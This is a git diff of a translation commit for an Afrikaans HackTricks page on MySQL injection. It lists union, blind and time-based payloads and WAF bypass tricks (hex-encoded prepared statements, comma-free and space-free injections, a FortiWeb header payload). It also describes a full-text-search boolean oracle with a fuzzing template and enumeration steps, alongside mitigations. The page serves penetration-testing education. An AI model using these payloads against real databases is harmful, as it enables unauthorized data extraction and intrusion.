Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README

This commit is contained in:
Translator 2025-10-01 00:48:47 +00:00
parent 94da4f5943
commit 15b5b10797

View File

@ -1,10 +1,10 @@
# MySQL-inspuiting
# MySQL injection
{{#include ../../../banners/hacktricks-training.md}}
## Kommentaar
## Opmerkings
```sql
-- MYSQL Comment
# MYSQL Comment
@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Alle inspuitings
## Alle injection
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
van [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Stroom
## Vloei
Onthou dat jy in "moderne" weergawes van **MySQL** "_**information_schema.tables**_" kan vervang met "_**mysql.innodb_table_stats**_**"** (Dit kan nuttig wees om WAFs te omseil).
Onthou dat in "moderne" weergawes van **MySQL** kan jy "_**information_schema.tables**_" vir "_**mysql.innodb_table_stats**_**"** vervang (Dit kan handig wees om WAFs te omseil).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -66,10 +66,10 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
### **Blind een vir een**
- `substr(version(),X,1)='r'` of `substring(version(),X,1)=0x70` of `ascii(substr(version(),X,1))=112`
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Blind byvoeging**
### **Blind toevoeging**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -77,9 +77,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Ontdek aantal kolomme
## Bepaal aantal kolomme
Gebruik 'n eenvoudige ORDER
Deur 'n eenvoudige ORDER te gebruik
```
order by 1
order by 2
@ -92,7 +92,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Unie Gebaseer
## MySQL Union Based
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -101,83 +101,132 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Leer hier verskillende opsies om** [**'n Mysql-inspuiting te misbruik om 'n SSRF te verkry**](mysql-ssrf.md)**.**
**Leer hier verskeie opsies om** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
## WAF omseil truuks
## WAF bypass truuks
### Uitvoering van navrae deur Voorbereide Stellinge
### Queries uitvoer via Prepared Statements
Wanneer gestapelde navrae toegelaat word, kan dit moontlik wees om WAF's te omseil deur die hex voorstelling van die navraag wat jy wil uitvoer aan 'n veranderlike toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL stellinge te gebruik om uiteindelik die navraag uit te voer. Iets soos hierdie:
Wanneer stacked queries toegelaat word, kan dit moontlik wees om WAFs te omseil deur aan 'n veranderlike die hex-voorstelling van die query wat jy wil uitvoer toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL statements te gebruik om uiteindelik die query uit te voer. Iets soos dit:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Vir meer inligting, verwys asseblief na [hierdie blogpos](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
Vir meer inligting verwys asseblief na [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Information_schema alternatiewe
Onthou dat jy in "moderne" weergawes van **MySQL** _**information_schema.tables**_ kan vervang met _**mysql.innodb_table_stats**_ of met _**sys.x$schema_flattened_keys**_ of met **sys.schema_table_statistics**.
Onthou dat in "moderne" weergawes van **MySQL** jy _**information_schema.tables**_ kan vervang met _**mysql.innodb_table_stats**_ of met _**sys.x$schema_flattened_keys**_ of met **sys.schema_table_statistics**
### MySQLinjection sonder KOMMA'S
### MySQLinjection sonder kommas
Kies 2 kolomme sonder om enige komma te gebruik ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Herwinning waardes sonder die kolomnaam
### Waardes terugkry sonder die kolomnaam
As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos die volgende uit te voer:
As jy op 'n stadium die naam van die tabel ken, maar nie die name van die kolomme daarin nie, kan jy probeer uitvind hoeveel kolomme daar is deur iets soos die volgende uit te voer:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Aangesien daar 2 kolomme is (waarvan die eerste die ID is) en die ander een die vlag, kan jy probeer om die inhoud van die vlag te bruteforce deur karakter vir karakter te probeer:
As daar 2 kolomme is (waarvan die eerste die ID is) en die ander die flag, kan jy probeer om die inhoud van die flag karakter vir karakter te bruteforce:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Meer inligting in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
Meer inligting by [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Injeksie sonder SPASIES (`/**/` kommentaar truuk)
### Injection without SPACES (`/**/` comment trick)
Sommige toepassings sanitiseer of parseer gebruikersinvoer met funksies soos `sscanf("%128s", buf)` wat **stop by die eerste spasie karakter**.
Omdat MySQL die reeks `/**/` as 'n kommentaar *en* as spasie behandel, kan dit gebruik word om normale spasies heeltemal uit die payload te verwyder terwyl die navraag sintakties geldig bly.
Sommige toepassings saneer of ontleed gebruikersinvoer met funksies soos `sscanf("%128s", buf)` wat **by die eerste spasiekarakter ophou**.
Omdat MySQL die sekwensie `/**/` beide as kommentaar *en* as whitespace beskou, kan dit gebruik word om normale spasies uit die payload heeltemal te verwyder terwyl die query sintakties geldig bly.
Voorbeeld van tyd-gebaseerde blinde injeksie wat die spasie-filter omseil:
Example time-based blind injection bypassing the space filter:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Watter die databasis ontvang as:
Wat die databasis ontvang as:
```sql
' OR SLEEP(5)-- -'
```
Dit is veral handig wanneer:
* Die beheerde buffer is beperk in grootte (bv. `%128s`) en spaties sou die invoer voortydig beëindig.
* Injektering deur HTTP-koptekste of ander velde waar normale spaties verwyder of as skeiders gebruik word.
* Gecombineer met `INTO OUTFILE` primitiewe om volle pre-auth RCE te bereik (sien die MySQL File RCE afdeling).
* Die beheerbare buffer is beperk in grootte (bv. `%128s`) en spasies sal die invoer voortydig beëindig.
* Inspuiting deur HTTP-headers of ander velde waar gewone spasies verwyder word of as skeiers gebruik word.
* Gekombineer met `INTO OUTFILE` primitives om volle pre-auth RCE te bereik (sien die MySQL File RCE-afdeling).
---
### MySQL geskiedenis
Jy kan ander uitvoerings binne die MySQL sien deur die tabel: **sys.x$statement_analysis**
Jy kan ander uitvoerings binne MySQL sien deur die tabel te lees: **sys.x$statement_analysis**
### Weergawe alternatiewe**s**
### Weergawe alternatief**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Ander MYSQL-inspuitingsgidse
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator misbruik (WOR)
Dit is nie 'n klassieke SQL injection nie. Wanneer ontwikkelaars gebruikersinvoer in `MATCH(col) AGAINST('...' IN BOOLEAN MODE)` plaas, voer MySQL 'n ryk stel Boolean-soekoperateurs binne die aanhalingsteken-string uit. Baie WAF/SAST-reëls fokus slegs op quote breaking en mis hierdie oppervlak.
Key points:
- Operateurs word binne die aanhalingstekens geëvalueer: `+` (moet insluit), `-` (moet nie insluit nie), `*` (trailing wildcard), `"..."` (presiese frase), `()` (groepering), `<`/`>`/`~` (gewigte). Sien MySQL docs.
- Dit maak teenwoordigheid/afwesigheid en voorvoegsel-toetse moontlik sonder om uit die string-literal te breek, bv. `AGAINST('+admin*' IN BOOLEAN MODE)` om te kontroleer of enige term met `admin` begin.
- Nuttig om orakels te bou soos “bevat enige ry 'n term met voorvoegsel X?” en om verborge stringe te enumereer via voorvoegsel-uitbreiding.
Example query built by the backend:
```sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
```
As die toepassing verskillende antwoorde teruggee afhangend daarvan of die resultaatstel leeg is (bv. omleiding vs. foutboodskap), word daardie gedrag 'n Boolean oracle wat gebruik kan word om privaat data te enumereer, soos verborge of verwyderde titels.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: as die backend 12 laaste karakters per woord afknip via 'n regex soos `(\b.{1,2})(\s)|(\b.{1,2}$)`, stuur `prefix*ZZ`. Die cleaner knip die `ZZ` af maar laat die `*` staan, sodat `prefix*` oorbly.
- Early-break stripping: as die kode operateurs per woord verwyder maar ophou verwerk wanneer dit enige token met lengte ≥ min lengte vind, stuur twee tokens: die eerste is 'n rommeltoken wat aan die lengtedrempel voldoen, die tweede dra die operator-payload. Byvoorbeeld: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`.
Payload template (URL-encoded):
```
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
```
- `%26` is `&`, `%2B` is `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`.
- Treat a redirect as “match” and an error page as “no match”. Dont auto-follow redirects to keep the oracle observable.
Enumerasie-werkvloei:
1) Begin met `{FUZZ} = a…z,0…9` om eerste-letter matches te vind via `+a*`, `+b*`, …
2) Vir elke positiewe prefix, tak uit: `a* → aa* / ab* / …`. Herhaal om die hele string te herstel.
3) Versprei requests (proxies, multiple accounts) as die app flood control afdwing.
Waarom titels dikwels leak terwyl contents nie:
- Sommige apps pas sigbaarheidskontroles eers toe ná n voorlopige MATCH op titels/subjects. As control-flow afhang van die “any results?” uitkoms voor filtering, gebeur existence leaks.
Mitigasies:
- As jy nie Boolean logic nodig het nie, gebruik `IN NATURAL LANGUAGE MODE` of hanteer user input as n literal (escape/quote deaktiveer operators in ander modes).
- As Boolean mode vereis is, verwyder of neutraliseer alle Boolean operators (`+ - * " ( ) < > ~`) vir elke token (geen vroeë onderbrekings nie) ná tokenization.
- Pas sigbaarheid-/authorization filters toe voor MATCH, of verenig responses (konstante timing/status) wanneer die result set leeg vs. nie-leeg is.
- Hersien ooreenstemmende funksies in ander DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` parse ook operators binne gequote argumente.
Notes:
- Prepared statements beskerm nie teen semantiese misbruik van `REGEXP` of search operators nie. n Input soos `.*` bly n permissive regex selfs binne n gequote `REGEXP '.*'`. Gebruik allow-lists of eksplisiete guards.
## Other MYSQL injection guides
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Verwysings
## References
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi na RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [MySQL Full-Text Search Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
- [MySQL Full-Text Search Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
{{#include ../../../banners/hacktricks-training.md}}